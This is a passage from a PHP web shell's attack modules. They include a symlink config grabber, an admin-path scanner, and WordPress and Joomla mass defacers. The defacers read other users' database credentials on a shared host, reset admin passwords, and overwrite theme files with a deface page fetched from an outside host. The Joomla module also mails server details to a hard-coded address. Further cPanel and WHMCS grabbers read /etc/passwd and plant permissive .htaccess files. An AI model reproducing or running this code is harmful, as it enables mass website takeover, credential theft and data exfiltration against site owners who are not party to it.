@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
}
echo "<center><br/><br/><a href='dm_grab'><nobr><span class='b9'>CHECK CONFIG GRABBER</span></nobr><br/></a><br/><br/>";
}
?>

<?php }
# x=ascan
elseif(isset($_GET['x']) && ($_GET['x'] == 'ascan')){ ?>
<form action="?dn=<?php echo $pwd; ?>&amp;x=ascan" method="post">

 <center><br/><br/><nobr><span class="b7">O=:[ ADMIN LOGIN</span> <span class="b8">PATH SCANNER ]:=O</nobr><br/><br/> <form method="POST"> Website : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>

<?php
$target = $_POST['target'];
$admins = array('/admin',
'/adminweb',
'/safeadmin',
'/adminweb',
'/controlpanel',
'/cpanel',
'/admcp',
'/admin.asp',
'/sysadmin.php',
'/useradmin',
'/wp-admin',
'/webadmin',
'/SysAdmin',
'/administer',
'/administrator',
'/adm',
'/directadmin',
'/staradmin',
'/panel',
'/wp-login'
,'/pureadmin',
'/webmaster',
'/ADMIN',
'/login',
'/paneldecontrol',
'/administrador',
'/admin.php',
'/login',
'/loign.php',
'/administrator.php',
'/admins.php',
'/logins',
'/admincp',
'/admincp.php');
foreach($admins as $admin) {
$jamban = ($target).($admin);
$get = @file_get_contents($jamban);
if($get) {
echo "<br>[+] FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
} 
} 
?>

<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmass')){	?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wpmass" method="post">
<?php
ini_set("display_errors", "0");
set_time_limit(0);
@session_start();
$base_path = dirname(__FILE__).'/';


function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    return trim($ar1[0]);
}

function randomt() {
    $chars = "abcdefghijkmnopqrstuvwxyz023456789";
    srand((double)microtime()*1000000);
    $i = 0;
    $pass = '';
    while ($i <= 7) {
        $num = rand() % 33;
        $tmp = substr($chars, $num, 1);
        $pass = $pass . $tmp;
        $i++;
    }
    return $pass;
}

function index_changer_wp($conf, $content) {
    $output = '';
    $dol = '$';
    $username = entre2v2($conf,"define('DB_USER', '","');");
    $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
    $dbname = entre2v2($conf,"define('DB_NAME', '","');");
    $prefix = entre2v2($conf,$dol."table_prefix  = '","'");
    $host = entre2v2($conf,"define('DB_HOST', '","');");

    $link=mysql_connect($host,$username,$password);
    if($link) {
        mysql_select_db($dbname,$link) ;
        $dol = '$';
        $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '0a56f86a4ea789f555c2bdfafb61fd4a' WHERE `ID` = 1");
    } else {
        $output.= "[-] DB Error<br />";
    }
    if($req1) {

        $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");
        $data = mysql_fetch_array($req);
        $site_url=$data["option_value"]; 

        $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");
        $data = mysql_fetch_array($req);
        $template = $data["option_value"];

        $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");
        $data = mysql_fetch_array($req);
        $current_theme = $data["option_value"];

        $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
        $url2=$site_url."/wp-login.php";

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url2);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=slymn123&rememberme=forever&wp-submit=Log In&testcookie=1");
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
        curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
        $buffer = curl_exec($ch);

        $pos = strpos($buffer,"action=logout");
        if($pos === false) {
            $output.= "[-] Giris Basarisiz<br />";
        } else {
            $output.= "[+] Giris Basarili<br />";
        }

        $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
        curl_setopt($ch, CURLOPT_URL, $url2);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
        curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
        $buffer0 = curl_exec($ch);

        $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
        $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');

        if(substr_count($_file,"/index.php") != 0){
            $output.= "[+] index.php CROT<br />";
        } else {
            $output.= "[-] index.php CROT<br />";
        }

        $url2=$site_url."/wp-admin/theme-editor.php";
        curl_setopt($ch, CURLOPT_URL, $url2);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
        curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
        $buffer = curl_exec($ch);
        curl_close($ch);

        $pos = strpos($buffer,'<div id="message" class="updated">');
        $cond = 0;
        if($pos === false) {
            $output.= "[-] index.php CROT<br />";
        } else {
            $output.= "[+] index.php CROT<br />";
            $cond = 1;
        }
    } else {
        $output.= "[-] DB Error<br />";
    }
    global $base_path;
    unlink($base_path.'COOKIE.txt');
    return array('cond'=>$cond, 'output'=>$output);
}

function exec_mode_1($def_url) {

    @mkdir('sym',0777);
    $wr  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
    $fp = @fopen ('sym/.htaccess','w');
    fwrite($fp, $wr);
    @symlink('/','sym/root');
    $dominios = @file_get_contents("/etc/named.conf");
    @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
    $out[1] = array_unique($out[1]);
    $numero_dominios = count($out[1]);
    echo "Toplam Site: $numero_dominios <br><br />";
    $def = file_get_contents($def_url);
    $def = urlencode($def);
    $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';
    $output = fopen('defaced.html', 'a+');
    $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
    $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
    echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th>
<th>SID</th><th>Domain</th><th>Script</th><th>DM</th><th>dm</th></tr>';
    $j = 1;
    $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
    for($i = $st; $i <= $numero_dominios; $i++)
    {
        $domain = $out[1][$i];
        $dono_arquivo = @fileowner("/etc/valiases/".$domain);
        $infos = @posix_getpwuid($dono_arquivo);
        
        $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");

        $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';

        if($config02 && preg_match('/DB_NAME/i',$config02)){
            echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
            echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
            $res = index_changer_wp($config02, $def);
            echo '<td>'.$res['output'].'</td>';
            if($res['cond']) {
                echo '<td align="center"><span class="green">HACKED</span></td>';
                fwrite($output, 'http://'.$domain."<br>");
                $_SESSION['count2'] = $_SESSION['count2'] + 1;
            } else {
                echo '<td align="center"><span class="red">BASARISIZ</span></td>';
            }
            echo '</tr>';
        }
    }
    echo '</table>';
    echo '<hr/>';
    echo 'TOTAL Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br />';
    
}
echo '<!DOCTYPE html>
<html>
<head>
    <title>WP Mass Defacer</title>
<script type="text/javascript">
        function change() {
            if(document.getElementById(\'rcd\').checked == true) {
                document.getElementById(\'tra\').style.display = \'\';
            } else {
                document.getElementById(\'tra\').style.display = \'none\';
            }
        }
        function hide() {
            document.getElementById(\'tra\').style.display = \'none\';
        }
    </script>
</head>
<body>
<div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
<h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer</h2>';
   

 if(!isset($_POST['form_action'])){ echo '<div align="center">
        <form action="" method="post">
            <input type="hidden" name="form_action" value="1"><br>index url:
<input type="text" style="color:#FF0000;background-color:#000000" name="indexadresi" value="http://site.com/index.html" /><br>
            <input class=submit style="color:#FF0000;background-color:#000000" type="submit" value="!! START !!" name="Submit">
        </form>
    </div>';
    } 
    echo '<div align="center">';
    if($_POST['form_action'] == 1) {
            exec_mode_1($_POST['indexadresi']);
    }
    echo '</div>
    </div>
</body>
</html>';
?>



<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'jomass')){	?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jomass" method="post">
   <html>
    <?

     
    ini_set("display_errors", "0");
    set_time_limit(0);
    @session_start();
    echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA DEFACER </center></font> </p>";
   
    //mail feature
    $body=("server ip:".$_SERVER['SERVER_ADDR']."       "."Site Name:".$_SERVER['SERVER_NAME']."       "."Directory".dirname(__FILE__));
    mail('[email protected]',$_SERVER['SERVER_ADDR'],$body);
     
    $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
     
    //create symlink of / to /sym/root/
    @mkdir('sym',0777);
        $wr  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $fp = @fopen ('sym/.htaccess','w');
        fwrite($fp, $wr);
        @symlink('/','sym/root');
    //collecting site names
    $text=file_get_contents($base_url.'/sym/root/var/named/');
    $ar = explode('<li><a href="', $text);
    for($vi=2;$vi < count($ar);$vi++)
         {
    $var1 = strtok($ar[$vi], " ");
    $var1 = substr($var1,0,-2);
    $old=('.db');
    $new=('');
    $sites = str_replace($old , $new , $var1);
    $filename = 'sites.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $sites."
");
    fclose($fp);
    }
     
    //collecting domainuser names for sites
    $domainusers=file('sites.txt');
    foreach ($domainusers as $domainuser) {
    $textexec=("ls -la /etc/valiases/".$domainuser);
    $exec=exec($textexec);
    $filename = 'lsla.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $exec."
");
    fclose($fp);
    }
     
    //creating final domain and domain user list
    $lsla=file('lsla.txt');
    foreach ($lsla as $finaldom) {
    $user=entre2v2($finaldom,"-rw-r----- 1 "," mail");
    $site=substr(strstr($finaldom, '/etc/valiases'),14);
     
    $filename = 'bhung.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $user.":". $site." ");
    fclose($fp);
     
    }
     
    $f=file_get_contents('bhung.txt');
    $finals=explode(" ",$f);
    foreach ($finals as $final){
    $strlen=('6');
    $dr=strlen ($final);
    if ($dr < $strlen) {
     
    $filename = 'faltu.txt';
    $fp = fopen($filename, "a");
    $write = fputs($fp, $final);
    fclose($fp);
    }
    else {
    $filename = 'gold.txt';
    $fp = fopen($filename, "a");
    $write = fputs($fp, $final."
");
    fclose($fp);
    }
     
    }
    //delete ajaira text files
    unlink ('bhung.txt');
    unlink ('faltu.txt');
    unlink ('lsla.txt');
    unlink ('sites.txt');
     
    $h=file_get_contents('http://dmzone-defacer.tk/index.html');
    $url=($base_url);
    $a=file($base_url.'/gold.txt');
    echo ("<center><table border=1 cellspacing=1 cellpading=1>  
    <tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>");
     
    foreach ($a as $final) {
    list($user, $site_url) = explode(":", $final);
    $site_urlto = substr($site_url, 0, -1);
    $url2=($url."/sym/root/home/".$user."/public_html/configuration.php");
    $configs=file_get_contents($url2);
    $old=('$');
    $new=('hax0rsistz');
    $configfile = str_replace($old , $new , $configs);
    $username=entre2v2($configfile, "hax0rsistzuser = '","';");
    $password=entre2v2($configfile, "hax0rsistzpassword = '","';");
    $dbname=entre2v2($configfile, "hax0rsistzdb = '","';");
    $dbprefix=entre2v2($configfile, "hax0rsistzdbprefix = '","';");
     
    $strlendbprefix= strlen ($dbprefix);
    if ($strlendbprefix > 2) {
    $link=mysql_connect("localhost",$username,$password) ;
     
             mysql_select_db($dbname,$link) ;
     
    $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='Yabod1' , password = 'af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG' where usertype='Super Administrator'");
     
    //checking pass change
    $reqpass=('af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG');
    $checkpass= mysql_query("SELECT password FROM ".$dbprefix."users where username='Yabod1'");
    $showpass=mysql_fetch_array ($checkpass);
    if ($showpass[0]== $reqpass) {
     
    $filename = 'passchanged.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $site_url."
");
    fclose($fp);
    //upto this alright
    $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
     
     
    $co=randomt();
     
    if ( $req )
    {
                   
    $req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
             $data = mysql_fetch_array($req);
    $template_name=$data["template"];
     
    $req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name='".$template_name."'");
             $data = mysql_fetch_array($req);
    $template_id=$data["extension_id"];
     
    $urlto=$site_urlto."/administrator/index.php";
     
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
     
     
    $buffer = curl_exec($ch);
     
    $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
    $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
     
    ///////////////////////////
    $urlto=$site_urlto."/administrator/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&return=".$return."&".$hidden."=1");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $pos = strpos($buffer,"com_config");
    if($pos === false) {
     
    }
    else {
    }
    ///////////////////////////
    $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
    if($hidden2) {
    }
    else {
     
    }
    $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
     
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $pos = strpos($buffer,'<dd class="message message">');
    if($pos === false) {
    echo "<center><table border=1 cellspacing=1 cellpading=1>  
    <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
    }
    else {
    $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
    $filename = 'deftemp.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $deftempurl."
");
    fclose($fp);
     
    echo "<center><table border=1 cellspacing=1 cellpading=1>  
    <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
     
     
    }
     
    }
     
    else
    {
                     
    $req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id='0'");
             $data = mysql_fetch_array($req);
    $template_name=$data["template"];
     
    $urlto=$site_urlto."/administrator/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
     
    $urlto=$site_urlto."/administrator/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&".$hidden."=1");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $pos = strpos($buffer,"com_config");
     
    if($pos === false) {
     
    }
    else {
    }
    $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
     
    if($hidden2) {
     
    }
    else {
     
    }
     
     
    $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlto);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
     
    $pos = strpos($buffer,'<dd class="message message fade">');
    if($pos === false) {
    echo "<center><table border=1 cellspacing=1 cellpading=1>  
    <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
    }
    else {
    $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
    $filename = 'deftemp.txt';
    $fp = fopen($filename, "a+");
    $write = fputs($fp, $deftempurl."
");
    fclose($fp);
     
    echo "<center><table border=1 cellspacing=1 cellpading=1>  
    <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
     
     
    }
     
    }
     
     
    //upto this alright
     
     
     
     
     
     
     
     
    }
    else {
    }
    }
    else {
    }
    }
     
    $cntpasschanged=file('passchanged.txt');
    $countpasschanged= count ($cntpasschanged);
     
     
     
    echo("<br>");
    $defacedurl=('<a href="deftemp.txt" target="_blank">View List of Defaced Site</a><br />');
    $passchangedurl=('<a href="passchanged.txt" target="_blank">View List of Password Changed site</a><br />');
    echo "<center><table border=1 cellspacing=1 cellpading=1>  
    <td width=300><font color=green> $defacedurl</font></td><td width=300><font color=green> $passchangedurl </font></td></tr></table></center>";
     
     
     
    //declaring function entre2v2
    function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
        $ar0=explode($marqueurDebutLien, $text);
        $ar1=explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
     
    function randomt() {
     
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double)microtime()*1000000);
        $i = 0;
        $pass = '' ;
     
        while ($i <= 7) {
            $num = rand() % 33;
            $tmp = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
     
        return $pass;
}
?>

<?php }
# x=reseller
elseif(isset($_GET['x']) && ($_GET['x'] == 'reseller')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=reseller" method="post">
 
 
 <?php
echo '<br><br><body bgcolor=black><center>
<img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/> 
<nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr></span><br/><br/> 
<form method="POST">
<center>
<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
$uSr=file("/etc/passwd"); 
foreach($uSr as $usrr) 
{ 
$str=explode(":",$usrr); 
echo $str[0]."
"; 
} 
?>
 
</textarea><p>
<nobr><font style="color:red;background-color:#000000">
[~] Home : 
<select style="color:red;background-color:#000000" title="Select Target Home"  name="home" size="10">
<option title="home" value="home">home</option>
<option title="home2" value="home2">home2</option>
<option title="home3" value="home3">home3</option>
<option title="home4" value="home4">home4</option>
<option title="home5" value="home5">home5</option>
<option title="home6" value="home6">home6</option>
<option title="home7" value="home7">home7</option>
<option title="home8" value="home8">home8</option> 
<option title="home9" value="home9">home9</option>
<option title="home10" value="home10">home10</option> 
</select>&nbsp;&nbsp;&nbsp; [~] Htaccess : 
<select style="color:red;background-color:#000000" title="Select Software"  name="soft" size="10">
<option title="Apache" value="Options all
Options +Indexes 
Options +FollowSymLinks 
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any">Apache</option>
<option title="Litespeed" value=" 
Options +FollowSymLinks
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php ">Litespeed</option>
 
</select> &nbsp;&nbsp; <input style="color:red;background-color:#000000" name="anu" size="10"
 value="<< &nbsp;START SCAN&nbsp; >>" type="submit">
<br/><br/></form></center>

 <?php 
@ini_set('html_errors',0); 
@ini_set('max_execution_time',0); 
@ini_set('display_errors', 0); 
@ini_set('file_uploads',1);
if ($_POST['anu']) {
$path = $_POST['path']; 
$home = $_POST['home'];
 
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions))
{
die ('Kurang Ganteng Cok');
}
@mkdir(RESELLER, 0755); 
@chdir(RESELLER);
$htaccess=$_POST['soft'];
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
 
$passwd=explode("
",$_POST["passwd"]); foreach($passwd as $pwd){ 
$user=trim($pwd);
@symlink('/'.$home.'/'.$user.'/public_html/moving.page/index.html',$user.' <~ RESELLER1');  
@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER2');
}
 
echo '<center>
<font face="Audiowide" size="5" style="color:red;background-color:#000000">
<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/> 
Scanning Complete....<br/>
Now Checking Folder Result....<br/><br/><br/>
<a href="/RESELLER">O=[ GO TO HELL ]=O</a>
</font>
<br/><br/><br/></center> </body></html> ';
}
?>
 
<?php }
# x=dmwhmcs11
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs11')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs11" method="post">
 
<?php
echo '<br><br><body bgcolor=black><center>
<img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/> 
<nobr><span class="b7">O=:[ SCAN CMS</span> <span class="b8">WHMCS  ]:=O</nobr></span><br/><br/> 
<form method="POST">
<center>
<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
$uSr=file("/etc/passwd"); 
foreach($uSr as $usrr) 
{ 
$str=explode(":",$usrr); 
echo $str[0]."
"; 
} 
?>
 
</textarea><p>
<nobr><font style="color:red;background-color:#000000">
[~] Home : 
<select style="color:red;background-color:#000000" title="Select Target Home"  name="home" size="10">
<option title="home" value="home">home</option>
<option title="home2" value="home2">home2</option>
<option title="home3" value="home3">home3</option>
<option title="home4" value="home4">home4</option>
<option title="home5" value="home5">home5</option>
<option title="home6" value="home6">home6</option>
<option title="home7" value="home7">home7</option>
<option title="home8" value="home8">home8</option> 
<option title="home9" value="home9">home9</option>
<option title="home10" value="home10">home10</option> 
</select>&nbsp;&nbsp;&nbsp; [~] Htaccess : 
<select style="color:red;background-color:#000000" title="Select Software"  name="soft" size="10">
<option title="Apache" value="Options all
Options +Indexes 
Options +FollowSymLinks 
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any">Apache</option>
<option title="Litespeed" value=" 
Options +FollowSymLinks
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php ">Litespeed</option>
 
</select> &nbsp;&nbsp; <input style="color:red;background-color:#000000" name="anu" size="10"
 value="<< &nbsp;START SCAN&nbsp; >>" type="submit">
<br/><br/></form></center>

 <?php 
@ini_set('html_errors',0); 
@ini_set('max_execution_time',0); 
@ini_set('display_errors', 0); 
@ini_set('file_uploads',1);
if ($_POST['anu']) {
$path = $_POST['path']; 
$home = $_POST['home'];
 
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions))
{
die ('Kurang Ganteng Cok');
}
@mkdir(WHMCS, 0755); 
@chdir(WHMCS);

 

$htaccess=$_POST['soft'];
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
 
$passwd=explode("
",$_POST["passwd"]); 
foreach($passwd as $pwd){ 
$user=trim($pwd);

